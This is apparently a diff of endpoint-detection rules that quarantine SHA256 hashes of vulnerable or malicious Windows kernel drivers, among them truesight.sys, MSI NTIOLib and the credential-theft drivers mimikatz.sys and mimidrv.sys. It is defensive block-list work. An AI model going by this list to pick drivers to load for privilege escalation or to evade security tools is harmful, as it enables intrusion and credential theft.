+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.831621Z",
+  "creation_date": "2026-03-23T11:45:30.831623Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.831628Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d1b43ce1b90845a1a4af7c1ece3d2d69c84c0a7e83d0f59c880756bb098fca4",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "248fe219-024e-5aed-9ce7-96f3ef8f2b21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614472Z",
+  "creation_date": "2026-03-23T11:45:29.614474Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614479Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3124b0411b8077605db2a9b7909d8240e0d554496600e2706e531c93c931e1b5",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24b20cae-35a9-5bd5-961a-772ebf23b226",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827348Z",
+  "creation_date": "2026-03-23T11:45:31.827350Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827356Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ad13e0a80edc24ae3c49b2c525cceef5aa73011c0aa8f09a15083c5a16229195",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24b525fb-240b-526f-b856-c4a76d75d5ca",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.148723Z",
+  "creation_date": "2026-03-23T11:45:31.148725Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.148730Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7bb22f60323c32d2b8b85c8d31aae9ea27e9a61c232b5d0cbda4893632fe513b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24c22ac9-3ac8-52a0-be4b-1d8d7776ac6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832040Z",
+  "creation_date": "2026-03-23T11:45:30.832042Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832048Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "67cdfbe63f6dcdd24e4e2531cb082990d5c062f025dd05e711449eb38f4485f3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24c702b6-536d-54f8-a38a-0087eddaaed6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.613666Z",
+  "creation_date": "2026-03-23T11:45:29.613668Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.613674Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f929bead59e9424ab90427b379dcdd63fbfe0c4fb5e1792e3a1685541cd5ec65",
+  "comment": "BioStar Microtech drivers vulnerable to kernel memory mapping function (aka BSMEMx64.sys, BSMIXP64.sys, BSMIx64.sys, BS_Flash64.sys, BS_HWMIO64_W10.sys, BS_HWMIo64.sys and BS_I2c64.sys) [https://www.loldrivers.io/drivers/9e87b6b0-00ed-4259-bcd7-05e2c924d58c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24ce6ed1-45ee-52e5-b799-612c9d1ad586",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.467267Z",
+  "creation_date": "2026-03-23T11:45:30.467271Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.467280Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "89ec70089d61eccb9021edc6f1b50a9ef99196467a011e1dc7d0325aa51b7dff",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24d85f30-810c-5c37-ad2a-7e5133f003d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614076Z",
+  "creation_date": "2026-03-23T11:45:29.614078Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614083Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cfcf32f5662791f1f22a77acb6dddfbc970fe6e99506969b3ea67c03f67687ab",
+  "comment": "MICSYS Technology driver (aka MsIo64.sys) [CVE-2019-18845] [https://github.com/kkent030315/MsIoExploit] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24e0b9c0-8a84-54dc-bfae-d67572c60c98",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.157153Z",
+  "creation_date": "2026-03-23T11:45:31.157155Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.157160Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ca6955adf0cb9b059f228d1460b2647b34654a0bf4391ac874c3ec02aa86b74c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24f21b1e-feb2-5414-8ac1-d162c9b17a5a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.618514Z",
+  "creation_date": "2026-03-23T11:45:29.618516Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.618522Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "91ee89520105ccbceca6ee0e34070f28c8dc5a3d73ec65f384da5da4f2a36dc0",
+  "comment": "NVIDIA vulnerable flash tool (aka nvflash.sys nd nvflsh64.sys) [CVE-2019-5688] [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24f2ba77-8d4b-5fdf-9944-43336a97d16a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143742Z",
+  "creation_date": "2026-03-23T11:45:32.143744Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143750Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bf1264cf5b9ca687a447a5021394db27eecf31f009185deb634b32f7ed49f620",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24f33bf0-bef2-58cb-bf4a-a3bca138d75a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.158897Z",
+  "creation_date": "2026-03-23T11:45:31.158899Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.158905Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "24179779724d229c5a0a0a9ebd442936882496556ccb9ab5943aa9bfc63cf2a9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24f4a8d7-6e98-5ec3-9b1c-9ba19d60ff76",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812011Z",
+  "creation_date": "2026-03-23T11:45:31.812012Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812018Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "049b22ea9712994036b3240d026d85d9c4699ead7c593e66e5f845c51cc7e6d5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "24f821ab-2000-5aa8-83b9-0d2a4f4e8921",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.461971Z",
+  "creation_date": "2026-03-23T11:45:30.461975Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.461983Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "accb1a6604efb1b3ce9345c9fd62fe717a84c3e089e09c638e461df89193ef01",
+  "comment": "Malicious Kernel Driver (aka mimikatz.sys) [https://www.loldrivers.io/drivers/14556074-b235-4378-b356-f58721629d72/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2506272d-ec09-5199-8431-9e6d5123a475",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.143613Z",
+  "creation_date": "2026-03-23T11:45:32.143615Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.143620Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1698ba7eeee6ff9272cc25b242af89190ff23fd9530f21aa8f0f3792412594f3",
+  "comment": "Vulnerable Kernel Driver (aka DcProtect.sys) [https://www.loldrivers.io/drivers/7cee2ce8-7881-4a9a-bb18-61587c95f4a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "2509a2ea-ece4-52af-9716-dcb806fef5ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617695Z",
+  "creation_date": "2026-03-23T11:45:29.617697Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.617702Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18e1707b319c279c7e0204074088cc39286007a1cf6cb6e269d5067d8d0628c6",
+  "comment": "Cheat Engine dangerous driver (aka dbk64.sys) [https://www.loldrivers.io/drivers/1524a54d-520d-4fa4-a7d5-aaaa066fbfc4/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "250af9c6-1320-57aa-aaa1-21d48ec88415",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968367Z",
+  "creation_date": "2026-03-23T11:45:29.968369Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968375Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "995284d05f947e2db58ece30b6d61653a2b94b2c337e5c75ca8315793e0b3955",
+  "comment": "ENE Technology Inc Vulnerable I/O Driver (aka ene.sys) [https://swapcontext.blogspot.com/2020/08/ene-technology-inc-vulnerable-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "250bb6a7-a152-5de2-8bdf-c00186555d48",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.146744Z",
+  "creation_date": "2026-03-23T11:45:31.146746Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.146751Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3a71944dd57948f2cda64fac2f9407f099dbd7744f5bdd7fe9500703af0fb553",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "250c1b07-af0f-5c58-b42d-d7ae7d6e8a85",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.486105Z",
+  "creation_date": "2026-03-23T11:45:31.486109Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.486119Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd487838b9b0eb272db9dd09b40ef5826b523f9f48d44130b4c1a53ed2182323",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "250f1f91-222b-50fe-8ae9-a4086d2a5040",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.145236Z",
+  "creation_date": "2026-03-23T11:45:31.145238Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.145243Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1726cc742dcad64d0993f833b26f7c314fb4b3ee999e7cdc371bde6dec26afef",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "251585db-48a8-5da7-b2c3-372879427e9e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495779Z",
+  "creation_date": "2026-03-23T11:45:31.495781Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495786Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fbed48e78c6e4a9c190fc7b98b33b0b61890d8eaacc3df3c9f97f6f3430f8a8c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "251f9569-4927-597e-8cf2-ea160a03498c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.833119Z",
+  "creation_date": "2026-03-23T11:45:30.833123Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.833132Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "de3fe9e38a3e471599a831f583c3f568f7ecb9629a1b57621028f6934a636047",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "25225aeb-b715-54d9-beb9-e75fea40a791",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
